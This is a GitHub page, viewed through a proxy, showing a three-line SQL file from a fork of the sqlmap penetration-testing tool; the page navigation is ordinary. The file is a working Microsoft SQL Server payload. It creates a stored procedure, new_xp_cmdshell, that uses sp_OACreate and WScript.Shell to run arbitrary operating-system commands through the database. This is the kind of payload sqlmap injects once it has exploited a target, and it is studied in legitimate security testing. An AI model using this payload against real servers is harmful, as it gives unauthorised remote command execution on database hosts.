FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
sqlmap/procs/mssqlserver/create_new_xp_cmdshell.sql at master · sql9/sqlmap · GitHub
sql9
/
sqlmap
Public
forked from
sqlmapproject/sqlmap
Notifications
You must be signed in to change notification settings
Fork
0
Star
0
Code
Pull requests
0
Actions
Projects
Wiki
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Wiki
Security and quality
Insights
Expand file tree
Breadcrumbs
sqlmap
/
procs
/
mssqlserver
/
create_new_xp_cmdshell.sql
Copy path
More file actions
More file actions
Latest commit
History
History
History
3 lines (3 loc) · 269 Bytes
Breadcrumbs
sqlmap
/
procs
/
mssqlserver
/
create_new_xp_cmdshell.sql
Copy path
File metadata and controls
3 lines (3 loc) · 269 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
DECLARE
@%RANDSTR%
nvarchar
(
999
);
set
@%RANDSTR%
=
'
CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate '
'
WScript.Shell'
'
,@ID OUT EXEC sp_OAMethod @ID,'
'
Run'
'
,Null,@cmd,0,1 EXEC sp_OADestroy @ID'
;
EXEC
master
..sp_executesql @%RANDSTR%
Back
|
FazBrowse Home
|
New Git URL